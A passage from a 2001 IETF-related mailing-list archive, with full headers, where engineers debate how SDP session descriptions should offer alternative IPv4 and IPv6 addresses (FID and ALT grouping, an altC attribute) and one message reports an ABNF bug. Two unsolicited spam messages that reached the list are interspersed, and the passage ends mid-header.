Received: by DYN-EXCH-001.dynamicsoft.com with Internet Mail Service (5.5.2653.19)
	id <4QPLL13M>; Thu, 11 Oct 2001 17:54:03 -0400
Message-ID: <9BF66EBF6BEFD942915B4D4D45C051F3233A56@DYN-TX-EXCH-001.dynamicsoft.com>
From: Kelvin Porter <kporter@dynamicsoft.com>
To: "'Christian Huitema'" <huitema@windows.microsoft.com>,
        Gonzalo Camarillo
	 <Gonzalo.Camarillo@lmf.ericsson.se>,
        Jonathan Rosenberg
	 <jdrosen@dynamicsoft.com>
Cc: Pekka Pessi <Pekka.Pessi@nokia.com>,
        Sean Olson
	 <sean.olson@ericsson.com>,
        "confctrl@isi.edu" <confctrl@ISI.EDU>
Subject: RE: draft-olson-sdp-ipv6-02.txt
Date: Thu, 11 Oct 2001 17:54:01 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,

Perhaps to avoid the combinatoric affects of presenting two addressing
options, we can propose a new addressing scheme - a scheme which
encapsulates the two (roughly) equivalent addresses.

Something like:

C=IN IP4or6 131.160.1.112[3ffe:1200:3012:c006:290:27ff:fe7d:d024]

This allows SDP to be used without adjustment.

And I think that it better models the underlying problem.

You could even indicate a preference for the addressing scheme to be used
(e.g., the first form is the preferred form).

Regards,

Kelvin R. Porter

PS Maybe this indicates a need for a multi-network addressing scheme (that
could even encode a preference list for alternative networks and address).
The rough equivalent to MIME. - KRP

>-----Original Message-----
>From: Christian Huitema [mailto:huitema@windows.microsoft.com]
>Sent: Thursday, October 11, 2001 3:49 PM
>To: Gonzalo Camarillo; Jonathan Rosenberg
>Cc: Pekka Pessi; Sean Olson; confctrl@isi.edu
>Subject: RE: draft-olson-sdp-ipv6-02.txt
>
>
>>          a=group:FID 1 2
>>          m=audio 30000 RTP/AVP 0
>>          c=IN IP4 131.160.1.112
>>          a=mid:1
>>          m=audio 20000 RTP/AVP 0
>>          a=IN IP6 3ffe:1200:3012:c006:290:27ff:fe7d:d024
>>          a=mid:2
>
>There are two issues with this proposal: first, it does correspond to
>the definition of FID in the draft-ietf-mmusic-fid-05.txt; second, it
>creates a lot of overhead. (and I guess that a=IN IP6 is a 
>typo for c=IN
>IP6).
>
>FID is defined as multiple or complementary definitions of the same
>flow, such as PCM and Tones, as in:
>
>         v=0
>         o=Laura 289083124 289083124 IN IP4 six.example.com
>         t=0 0
>         c=IN IP4 131.160.1.112
>         a=group:FID 1 2
>         m=audio 30000 RTP/AVP 0
>         a=mid:1
>         m=audio 20000 RTP/AVP 97
>         c=IN IP4 131.160.1.111
>         a=rtpmap:97 telephone-events
>         a=mid:2
>
>This is not what we need. We want to say, "send this flow to 
>either IPv4
>or IPv6." A possibility would be to create a new token in the group
>attribute, e.g. "a=group:ALT 1 2", which would mean "pick one or the
>other", and possibly convey an order of preference. 
>
>But this raises a second issue, overhead. Suppose a realistic example,
>in which we don't just propose PCM, but actually offer the choice
>between multiple codecs. We would get something like:
>
>        a=group:ALT 1 2
>        m=audio 30000 RTP/AVP 0 96 97 98
>        a=rtpmap:96 codec-1-and-parameters
>        a=rtpmap:97 codec-2-and-parameters
>        a=rtpmap:96 codec-3-and-parameters
>        c=IN IP4 131.160.1.112
>        a=mid:1
>        m=audio 20000 RTP/AVP 0 96 97 98
>        a=rtpmap:96 codec-1-and-parameters
>        a=rtpmap:97 codec-2-and-parameters
>        a=rtpmap:96 codec-3-and-parameters
>        c=IN IP6 3ffe:1200:3012:c006:290:27ff:fe7d:d024
>        a=mid:2
>
>I don't know whether this is a real concern, but we are by an large
>doubling the size of the SDP description. Even if we accept that the
>overhead is not too much of the problem, we have to understand the
>relative priorities of FID and ALT. Going back to the FID example, this
>would give us:
>
>         v=0
>         o=Laura 289083124 289083124 IN IP4 six.example.com
>         t=0 0
>         a=group:FID 1 2 3 4
>         a=group:ALT 1 2
>         a=group:ALT 3 4
>         m=audio 30000 RTP/AVP 0
>         c=IN IP6 3ffe:1200:3012:c006:290:27ff:fe7d:d024
>         a=mid:1
>         m=audio 30000 RTP/AVP 0
>         c=IN IP4 131.160.1.112
>         a=mid:2
>         m=audio 20000 RTP/AVP 97
>         c=IN IP6 3ffe:1200:3012:c006:6789:ABCD:EF01:2345
>         a=rtpmap:97 telephone-events
>         a=mid:3
>         m=audio 20000 RTP/AVP 97
>         c=IN IP4 131.160.1.111
>         a=rtpmap:97 telephone-events
>         a=mid:4
>
>Now, that may be exactly what we want -- I can definitely generate and
>parse that -- but it is not exactly intuitive...
>
>-- Christian Huitema
>

From confctrl-owner  Thu Oct 11 17:36:45 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id RAA13948
	for confctrl-outgoing; Thu, 11 Oct 2001 17:36:45 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id RAA13942
	for <confctrl@zephyr.isi.edu>; Thu, 11 Oct 2001 17:36:44 -0700 (PDT)
Received: from purple.nge.isi.edu ([65.114.168.32])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f9C0b3g11756
	for <confctrl@ISI.EDU>; Thu, 11 Oct 2001 17:37:03 -0700 (PDT)
Received: from purple.nge.isi.edu (localhost [127.0.0.1])
	by purple.nge.isi.edu (8.11.6/8.11.6) with ESMTP id f9C0UTB04061;
	Thu, 11 Oct 2001 20:30:29 -0400
Message-Id: <200110120030.f9C0UTB04061@purple.nge.isi.edu>
To: Christer Holmberg <christer.holmberg@lmf.ericsson.se>
cc: confctrl@ISI.EDU
Subject: Re: SDP syntax 
In-Reply-To: Your message of "Thu, 11 Oct 2001 12:46:34 +0300."
             <3BC56A7A.2CF05C42@lmf.ericsson.se> 
Date: Thu, 11 Oct 2001 20:30:29 -0400
From: Colin Perkins <csp@ISI.EDU>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Thanks, I'll fix it in the next version of the draft.

Colin



--> Christer Holmberg writes:
>
>Hi,
>
>I have just recently subscribed myself to this list, so I appologise if
>the following issue has already been discussed.
>
>A while ago I found an ABNF bug(?) in the RFC, and while reading the -03
>version of the sdp-new draft I saw that it is still there.
>
>The ABNF (page 34) says:
>
>proto =               1*(alpha-numeric)
>                      ;typically "RTP/AVP" or "udp" for IP4
>
>However, the slash ("/") character is not part of alpha-numeric, so
>according to the rule "RTP/AVP" is not a valid value.
>
>
>Regards,
>
>Christer Holmberg
>Ericsson Finland

From confctrl-owner  Thu Oct 11 17:56:13 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id RAA15186
	for confctrl-outgoing; Thu, 11 Oct 2001 17:56:13 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id RAA15181
	for <confctrl@zephyr.isi.edu>; Thu, 11 Oct 2001 17:56:12 -0700 (PDT)
Received: from mail2.microsoft.com (mail2.microsoft.com [131.107.3.124])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f9C0uWg16596
	for <confctrl@isi.edu>; Thu, 11 Oct 2001 17:56:32 -0700 (PDT)
Received: from INET-VRS-02.redmond.corp.microsoft.com ([157.54.8.110]) by mail2.microsoft.com with Microsoft SMTPSVC(5.0.2195.2966);
	 Thu, 11 Oct 2001 17:56:26 -0700
Received: from 157.54.1.52 by INET-VRS-02.redmond.corp.microsoft.com (InterScan E-Mail VirusWall NT); Thu, 11 Oct 2001 17:56:26 -0700
Received: from red-imc-02.redmond.corp.microsoft.com ([157.54.9.107]) by inet-imc-06.redmond.corp.microsoft.com with Microsoft SMTPSVC(5.0.2195.2966);
	 Thu, 11 Oct 2001 17:56:26 -0700
Received: from win-imc-02.wingroup.windeploy.ntdev.microsoft.com ([157.54.0.84]) by red-imc-02.redmond.corp.microsoft.com with Microsoft SMTPSVC(5.0.2195.2966);
	 Thu, 11 Oct 2001 17:56:25 -0700
Received: from win-msg-02.wingroup.windeploy.ntdev.microsoft.com ([157.54.0.134]) by win-imc-02.wingroup.windeploy.ntdev.microsoft.com with Microsoft SMTPSVC(5.0.2195.2966);
	 Thu, 11 Oct 2001 17:56:00 -0700
X-MimeOLE: Produced By Microsoft Exchange V6.0.6063.0
Content-Class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="US-ASCII"
Subject: RE: draft-olson-sdp-ipv6-02.txt
Date: Thu, 11 Oct 2001 17:56:00 -0700
Message-ID: <F66A04C29AD9034A8205949AD0C9010401C0E35F@win-msg-02.wingroup.windeploy.ntdev.microsoft.com>
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: draft-olson-sdp-ipv6-02.txt
Thread-Index: AcFSn0RNMpo9hWe/QY60Lk+ZYqObDwAF6h2w
From: "Christian Huitema" <huitema@windows.microsoft.com>
To: "Kelvin Porter" <kporter@dynamicsoft.com>,
        "Gonzalo Camarillo" <Gonzalo.Camarillo@lmf.ericsson.se>,
        "Jonathan Rosenberg" <jdrosen@dynamicsoft.com>
Cc: "Pekka Pessi" <Pekka.Pessi@nokia.com>,
        "Sean Olson" <sean.olson@ericsson.com>,
        "confctrl@isi.edu" <confctrl@ISI.EDU>
X-OriginalArrivalTime: 12 Oct 2001 00:56:00.0680 (UTC) FILETIME=[A90DD280:01C152B8]
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by zephyr.isi.edu id RAA15182
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> Something like:
> 
> C=IN IP4or6 131.160.1.112[3ffe:1200:3012:c006:290:27ff:fe7d:d024]

Tempting, but it fails for two reasons. First, solutions such as
modified C lines or duplicated C lines break interoperability with
un-reconstructed v4-only nodes; you don't want that. Second, the port
used over IPv4 may not be the same as over IPv6; this is almost always
the case if your IPv4 connection goes through a NAT. If we go that way,
then I would rather use something like:

        m=audio 30000 RTP/AVP 0 
        c=IN IP4 131.160.1.112
        a=altC:20000:IN IP6 3ffe:1200:3012:c006:290:27ff:fe7d:d024

I.e. use an attribute, and document both the port and the address.

-- Christian Huitema



From confctrl-owner  Thu Oct 11 22:04:28 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id WAA26673
	for confctrl-outgoing; Thu, 11 Oct 2001 22:04:28 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id WAA26668
	for <confctrl@zephyr.isi.edu>; Thu, 11 Oct 2001 22:04:26 -0700 (PDT)
Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f9C54jg20369
	for <confctrl@ISI.EDU>; Thu, 11 Oct 2001 22:04:46 -0700 (PDT)
Received: from fogerty.lmf.ericsson.se (fogerty.lmf.ericsson.se [131.160.11.6])
	by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with ESMTP id f9C54hL12908;
	Fri, 12 Oct 2001 07:04:43 +0200 (MEST)
Received: from lmf.ericsson.se (E005004B52C74.lmf.ericsson.se [131.160.30.74])
	by fogerty.lmf.ericsson.se (8.11.3/8.11.3) with ESMTP id f9C54gL02655;
	Fri, 12 Oct 2001 08:04:42 +0300 (EET DST)
Message-ID: <3BC679E8.5B4C8667@lmf.ericsson.se>
Date: Fri, 12 Oct 2001 08:04:40 +0300
From: Christer Holmberg <christer.holmberg@lmf.ericsson.se>
X-Mailer: Mozilla 4.61 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Christian Huitema <huitema@windows.microsoft.com>
CC: Gonzalo Camarillo <Gonzalo.Camarillo@lmf.ericsson.se>,
        Jonathan Rosenberg <jdrosen@dynamicsoft.com>,
        Pekka Pessi <Pekka.Pessi@nokia.com>,
        Sean Olson <sean.olson@ericsson.com>,
        "confctrl@isi.edu" <confctrl@ISI.EDU>
Subject: Re: draft-olson-sdp-ipv6-02.txt
References: <F66A04C29AD9034A8205949AD0C9010401C0E35B@win-msg-02.wingroup.windeploy.ntdev.microsoft.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Hi,

>>          a=group:FID 1 2
>>          m=audio 30000 RTP/AVP 0
>>          c=IN IP4 131.160.1.112
>>          a=mid:1
>>          m=audio 20000 RTP/AVP 0
>>          a=IN IP6 3ffe:1200:3012:c006:290:27ff:fe7d:d024
>>          a=mid:2
>
>There are two issues with this proposal: first, it does correspond to
>the definition of FID in the draft-ietf-mmusic-fid-05.txt;

First, since we are going to pick one of these streams, I am not sure
they should be grouped using FID, since that would indicate a SINGLE
logical stream. And, as Christian writes futher down, that is not what
we want.

Second, IF we want to group them (there could be a THEORETICAL scenario
where the media agent may want to switch between an IP4- and IP6 network
during the session) we come to another issue, which has been discussed
before: The fid draft says that if the codec is the same then the media
should be sent on BOTH streams (unless some direction attribute forbids
it, of course). This is, however, another example (I have mentioned some
others) where that is not true.

>second, it creates a lot of overhead. (and I guess that a=IN IP6 is a typo for c=IN
>IP6).
> 
>FID is defined as multiple or complementary definitions of the same
>flow, such as PCM and Tones, as in:
> 
>          v=0
>          o=Laura 289083124 289083124 IN IP4 six.example.com
>          t=0 0
>          c=IN IP4 131.160.1.112
>          a=group:FID 1 2
>          m=audio 30000 RTP/AVP 0
>          a=mid:1
>          m=audio 20000 RTP/AVP 97
>          c=IN IP4 131.160.1.111
>          a=rtpmap:97 telephone-events
>          a=mid:2
> 
>This is not what we need. We want to say, "send this flow to either IPv4
>or IPv6." A possibility would be to create a new token in the group
>attribute, e.g. "a=group:ALT 1 2", which would mean "pick one or the
>other", and possibly convey an order of preference.

H.248 solves this by using the ReserveGroup and ReserveValue
parameters... :)

>But this raises a second issue, overhead. Suppose a realistic example,
>in which we don't just propose PCM, but actually offer the choice
>between multiple codecs. We would get something like:
> 
>         a=group:ALT 1 2
>         m=audio 30000 RTP/AVP 0 96 97 98
>         a=rtpmap:96 codec-1-and-parameters
>         a=rtpmap:97 codec-2-and-parameters
>         a=rtpmap:96 codec-3-and-parameters
>         c=IN IP4 131.160.1.112
>         a=mid:1
>         m=audio 20000 RTP/AVP 0 96 97 98
>         a=rtpmap:96 codec-1-and-parameters
>         a=rtpmap:97 codec-2-and-parameters
>         a=rtpmap:96 codec-3-and-parameters
>         c=IN IP6 3ffe:1200:3012:c006:290:27ff:fe7d:d024
>         a=mid:2
> 
>I don't know whether this is a real concern, but we are by an large
>doubling the size of the SDP description.

That is true, but it would only be in the first message. If we remove
one of the streams in the respons, by setting the port to zero, I don't
think we have to include all the attributes for that stream, do we?

Regards,

Christer Holmberg
Ericsson Finland



>Even if we accept that the overhead is not too much of the problem, we have to understand the
>relative priorities of FID and ALT. Going back to the FID example, this
>would give us:
> 
>          v=0
>          o=Laura 289083124 289083124 IN IP4 six.example.com
>          t=0 0
>          a=group:FID 1 2 3 4
>          a=group:ALT 1 2
>          a=group:ALT 3 4
>          m=audio 30000 RTP/AVP 0
>          c=IN IP6 3ffe:1200:3012:c006:290:27ff:fe7d:d024
>          a=mid:1
>          m=audio 30000 RTP/AVP 0
>          c=IN IP4 131.160.1.112
>          a=mid:2
>          m=audio 20000 RTP/AVP 97
>          c=IN IP6 3ffe:1200:3012:c006:6789:ABCD:EF01:2345
>          a=rtpmap:97 telephone-events
>          a=mid:3
>          m=audio 20000 RTP/AVP 97
>          c=IN IP4 131.160.1.111
>          a=rtpmap:97 telephone-events
>          a=mid:4
> 
> Now, that may be exactly what we want -- I can definitely generate and
> parse that -- but it is not exactly intuitive...
> 
> -- Christian Huitema

From confctrl-owner  Thu Oct 11 22:34:31 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id WAA28438
	for confctrl-outgoing; Thu, 11 Oct 2001 22:34:31 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id WAA28432
	for <confctrl@zephyr.isi.edu>; Thu, 11 Oct 2001 22:34:30 -0700 (PDT)
Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f9C5Yng25928
	for <confctrl@ISI.EDU>; Thu, 11 Oct 2001 22:34:49 -0700 (PDT)
Received: from fogerty.lmf.ericsson.se (fogerty.lmf.ericsson.se [131.160.11.6])
	by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with ESMTP id f9C5YlL21108;
	Fri, 12 Oct 2001 07:34:47 +0200 (MEST)
Received: from lmf.ericsson.se (E005004B52C74.lmf.ericsson.se [131.160.30.74])
	by fogerty.lmf.ericsson.se (8.11.3/8.11.3) with ESMTP id f9C5YkL03389;
	Fri, 12 Oct 2001 08:34:46 +0300 (EET DST)
Message-ID: <3BC680F5.188944CF@lmf.ericsson.se>
Date: Fri, 12 Oct 2001 08:34:45 +0300
From: Christer Holmberg <christer.holmberg@lmf.ericsson.se>
X-Mailer: Mozilla 4.61 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Christian Huitema <huitema@windows.microsoft.com>
CC: Kelvin Porter <kporter@dynamicsoft.com>,
        Gonzalo Camarillo <Gonzalo.Camarillo@lmf.ericsson.se>,
        Jonathan Rosenberg <jdrosen@dynamicsoft.com>,
        Pekka Pessi <Pekka.Pessi@nokia.com>,
        Sean Olson <sean.olson@ericsson.com>,
        "confctrl@isi.edu" <confctrl@ISI.EDU>
Subject: Re: draft-olson-sdp-ipv6-02.txt
References: <F66A04C29AD9034A8205949AD0C9010401C0E35F@win-msg-02.wingroup.windeploy.ntdev.microsoft.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Hi,

Instead of defining mechanisms to make message shorter, but which only
works for this specific case, I think we should look at this from a more
general point of view. 

First, it's not only about the address. We may also have separate
attributes, which may have different values depending on if they are for
IP4 or IP6. In that case we would have to use "a=altC:a=<whatever>" for
those.

Second, now we are only talking about "IP4 vs IP6" for a session, but in
future there MAY be scenarios where we have IP, ATM, and who knows what
- in all kind of "choose-one-of-these-for-the-session" combinations...

Regards,

Christer Holmberg
Ericsson Finland



Christian Huitema wrote:
> 
> > Something like:
> >
> > C=IN IP4or6 131.160.1.112[3ffe:1200:3012:c006:290:27ff:fe7d:d024]
> 
> Tempting, but it fails for two reasons. First, solutions such as
> modified C lines or duplicated C lines break interoperability with
> un-reconstructed v4-only nodes; you don't want that. Second, the port
> used over IPv4 may not be the same as over IPv6; this is almost always
> the case if your IPv4 connection goes through a NAT. If we go that way,
> then I would rather use something like:
> 
>         m=audio 30000 RTP/AVP 0
>         c=IN IP4 131.160.1.112
>         a=altC:20000:IN IP6 3ffe:1200:3012:c006:290:27ff:fe7d:d024
> 
> I.e. use an attribute, and document both the port and the address.
> 
> -- Christian Huitema

From confctrl-owner  Fri Oct 12 06:01:50 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id GAA19598
	for confctrl-outgoing; Fri, 12 Oct 2001 06:01:50 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id GAA19593
	for <confctrl@zephyr.isi.edu>; Fri, 12 Oct 2001 06:01:49 -0700 (PDT)
Received: from imr1.ericy.com (imr1.ericy.com [208.237.135.240])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f9CD28g11081
	for <confctrl@ISI.EDU>; Fri, 12 Oct 2001 06:02:09 -0700 (PDT)
Received: from mr6.exu.ericsson.se (mr6u3.ericy.com [208.237.135.123])
	by imr1.ericy.com (8.11.3/8.11.3) with ESMTP id f9CD20Y04805;
	Fri, 12 Oct 2001 08:02:00 -0500 (CDT)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.75.179])
	by mr6.exu.ericsson.se (8.11.3/8.11.3) with ESMTP id f9CD1xh26858;
	Fri, 12 Oct 2001 08:01:59 -0500 (CDT)
Received: from lmf.ericsson.se (rmt160141.am.ericsson.se [138.85.160.141]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id IAA08106; Fri, 12 Oct 2001 08:01:56 -0500 (CDT)
Message-ID: <3BC6EE48.3EB384EA@lmf.ericsson.se>
Date: Fri, 12 Oct 2001 16:21:12 +0300
From: Gonzalo Camarillo <Gonzalo.Camarillo@lmf.ericsson.se>
X-Mailer: Mozilla 4.61 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Christian Huitema <huitema@windows.microsoft.com>
CC: Jonathan Rosenberg <jdrosen@dynamicsoft.com>,
        Pekka Pessi <Pekka.Pessi@nokia.com>,
        Sean Olson <sean.olson@ericsson.com>,
        "confctrl@isi.edu" <confctrl@ISI.EDU>
Subject: Re: draft-olson-sdp-ipv6-02.txt
References: <F66A04C29AD9034A8205949AD0C9010401C0E35B@win-msg-02.wingroup.windeploy.ntdev.microsoft.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hello,

Christian Huitema wrote:
> 
> >          a=group:FID 1 2
> >          m=audio 30000 RTP/AVP 0
> >          c=IN IP4 131.160.1.112
> >          a=mid:1
> >          m=audio 20000 RTP/AVP 0
> >          a=IN IP6 3ffe:1200:3012:c006:290:27ff:fe7d:d024
> >          a=mid:2
> 
> There are two issues with this proposal: first, it does correspond to
> the definition of FID in the draft-ietf-mmusic-fid-05.txt; second, it
> creates a lot of overhead. (and I guess that a=IN IP6 is a typo for c=IN
> IP6).
> 
> FID is defined as multiple or complementary definitions of the same
> flow, such as PCM and Tones, as in:

Yes, my origianl idea when we first released FID was that all the m
lines grouped with FID had different codec type. Then, depending on the
codec type, the media would have been sent to different transport
addresses. Exactly as you describe in your example with DTMF tones.

However, we had to define semantics just in case two m lines with the
same codec were grouped. The decision was that media had to be sent to
both at the same time. Therefore, FDI is the right thing to do for
grouping both the IPv4 address and the IPv6 address in the scenario we
are dealing with.

However, as you also point out, we do not provide any means for
signalling "pick only one of the m lines". Actually this was excluded
from the scope of FID from the beginning, since it is a different
problem. We can certainly define an attribute that says "pick only one
of the m lines".

Regards,

Gonzalo





> 
>          v=0
>          o=Laura 289083124 289083124 IN IP4 six.example.com
>          t=0 0
>          c=IN IP4 131.160.1.112
>          a=group:FID 1 2
>          m=audio 30000 RTP/AVP 0
>          a=mid:1
>          m=audio 20000 RTP/AVP 97
>          c=IN IP4 131.160.1.111
>          a=rtpmap:97 telephone-events
>          a=mid:2
> 
> This is not what we need. We want to say, "send this flow to either IPv4
> or IPv6." A possibility would be to create a new token in the group
> attribute, e.g. "a=group:ALT 1 2", which would mean "pick one or the
> other", and possibly convey an order of preference.
> 
> But this raises a second issue, overhead. Suppose a realistic example,
> in which we don't just propose PCM, but actually offer the choice
> between multiple codecs. We would get something like:
> 
>         a=group:ALT 1 2
>         m=audio 30000 RTP/AVP 0 96 97 98
>         a=rtpmap:96 codec-1-and-parameters
>         a=rtpmap:97 codec-2-and-parameters
>         a=rtpmap:96 codec-3-and-parameters
>         c=IN IP4 131.160.1.112
>         a=mid:1
>         m=audio 20000 RTP/AVP 0 96 97 98
>         a=rtpmap:96 codec-1-and-parameters
>         a=rtpmap:97 codec-2-and-parameters
>         a=rtpmap:96 codec-3-and-parameters
>         c=IN IP6 3ffe:1200:3012:c006:290:27ff:fe7d:d024
>         a=mid:2
> 
> I don't know whether this is a real concern, but we are by an large
> doubling the size of the SDP description. Even if we accept that the
> overhead is not too much of the problem, we have to understand the
> relative priorities of FID and ALT. Going back to the FID example, this
> would give us:
> 
>          v=0
>          o=Laura 289083124 289083124 IN IP4 six.example.com
>          t=0 0
>          a=group:FID 1 2 3 4
>          a=group:ALT 1 2
>          a=group:ALT 3 4
>          m=audio 30000 RTP/AVP 0
>          c=IN IP6 3ffe:1200:3012:c006:290:27ff:fe7d:d024
>          a=mid:1
>          m=audio 30000 RTP/AVP 0
>          c=IN IP4 131.160.1.112
>          a=mid:2
>          m=audio 20000 RTP/AVP 97
>          c=IN IP6 3ffe:1200:3012:c006:6789:ABCD:EF01:2345
>          a=rtpmap:97 telephone-events
>          a=mid:3
>          m=audio 20000 RTP/AVP 97
>          c=IN IP4 131.160.1.111
>          a=rtpmap:97 telephone-events
>          a=mid:4
> 
> Now, that may be exactly what we want -- I can definitely generate and
> parse that -- but it is not exactly intuitive...
> 
> -- Christian Huitema

-- 
Gonzalo Camarillo                    Phone :   +1 212 939 71 71
Columbia University                  Mobile:  +358 40 702 35 35
472 Computer Science Building        Fax   :  +358  9 299 30 52
1214 Amsterdam Ave., Mail Code 0401  http://www.hut.fi/~gonzalo
New York, NY 10027                   
USA                              Gonzalo.Camarillo@ericsson.com

From confctrl-owner  Fri Oct 12 08:27:57 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id IAA26249
	for confctrl-outgoing; Fri, 12 Oct 2001 08:27:57 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id IAA26244
	for <confctrl@zephyr.isi.edu>; Fri, 12 Oct 2001 08:27:56 -0700 (PDT)
Received: from apeiba.wanadoo.fr (smtp-rt-2.wanadoo.fr [193.252.19.154])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f9CFS9g18091
	for <confctrl@isi.edu>; Fri, 12 Oct 2001 08:28:12 -0700 (PDT)
Received: from citronier.wanadoo.fr (193.252.19.222) by apeiba.wanadoo.fr; 12 Oct 2001 17:28:02 +0200
Received: from oemcomputer (80.9.148.218) by citronier.wanadoo.fr; 12 Oct 2001 17:26:40 +0200
Message-ID: <3bc70bb23c3d525b@citronier.wanadoo.fr> (added by citronier.wanadoo.fr)
From: louisiana@wanadoo.fr
To: confctrl@ISI.EDU
Date: Fri, 12 Oct 2001 17:36:21 PDT
Subject: votre hotel sur L'aeroport de Marseille
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Dans la région de Marseille ? vitrolles ? Marignane ?aix ?
Visitez le louisiana hotel 100 chambres Soirée étape à 325 frs
dans une pinede tranquille à 2 minutes de l'aeroport, 7 minutes de la gare TGV.d'Aix en provence.
sauna-piscine-billard-petanque-1 hectare de jardin chambres avec minibar,24 chaines de TV,tel direct, prise internet.
reception et navette aeroport 24H24H
séminaires avec 3 salles,video projection ,internet
Visitez-nous sur le web :   http:// www.hotel-louisiana.com

Jean Figadere
      ___________________________________
Si vous ne désirez plus recevoir de courriers de cette liste :
To remove your email address from this list :
http://www.intellitec.net/remove/
      ___________________________________
    votre adresse email a été trouvée par l'expéditeur de ce message avec le logiciel MailCast :
     your email address was found by the sender of this message using MailCast :
http://www.intellitec.net/Commercial/MailCast/default.htm

From confctrl-owner  Mon Oct 15 05:22:43 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id FAA00730
	for confctrl-outgoing; Mon, 15 Oct 2001 05:22:43 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id FAA00717
	for <confctrl@zephyr.isi.edu>; Mon, 15 Oct 2001 05:22:41 -0700 (PDT)
Received: from hotmail.com (ESS-p-144-138-82-35.mega.tmns.net.au [144.138.82.35])
	by tnt.isi.edu (8.11.6/8.11.2) with SMTP id f9FCMvg14309;
	Mon, 15 Oct 2001 05:23:00 -0700 (PDT)
From: <Bazaaaa99@hotmail.com>
Subject: Hey
Date: Mon, 15 Oct 2001 22:20:50
Message-Id: <226.379006.150484@hotmail.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


David,

Heres the link to that site you wanted,

http://www.hothosting.org/eliminator/?_counted_notp_eliminator

Let me know what you think, It has a 10% off sale so i think I will get it, what do you think.

Also about Anne-Marie's Birthday Dinner, Sorry mate I can't make it as i will be away for work, tell her I am sorry and we will have to go out for dinner when I get back.

Anyways I will call you when I get back,

Ciao

Bazza

From confctrl-owner  Mon Oct 15 19:14:27 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id TAA16905
	for confctrl-outgoing; Mon, 15 Oct 2001 19:14:27 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id TAA16900
	for <confctrl@zephyr.isi.edu>; Mon, 15 Oct 2001 19:14:25 -0700 (PDT)
Received: from purple.nge.isi.edu ([65.114.168.32])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f9G2Ekg10508
	for <confctrl@ISI.EDU>; Mon, 15 Oct 2001 19:14:46 -0700 (PDT)
Received: from purple.nge.isi.edu (localhost [127.0.0.1])
	by purple.nge.isi.edu (8.11.6/8.11.6) with ESMTP id f9G2EZ803074;
	Mon, 15 Oct 2001 22:14:36 -0400
Message-Id: <200110160214.f9G2EZ803074@purple.nge.isi.edu>
To: "Sean Olson (EUS)" <sean.olson@ericsson.com>
cc: "'confctrl@isi.edu'" <confctrl@ISI.EDU>,
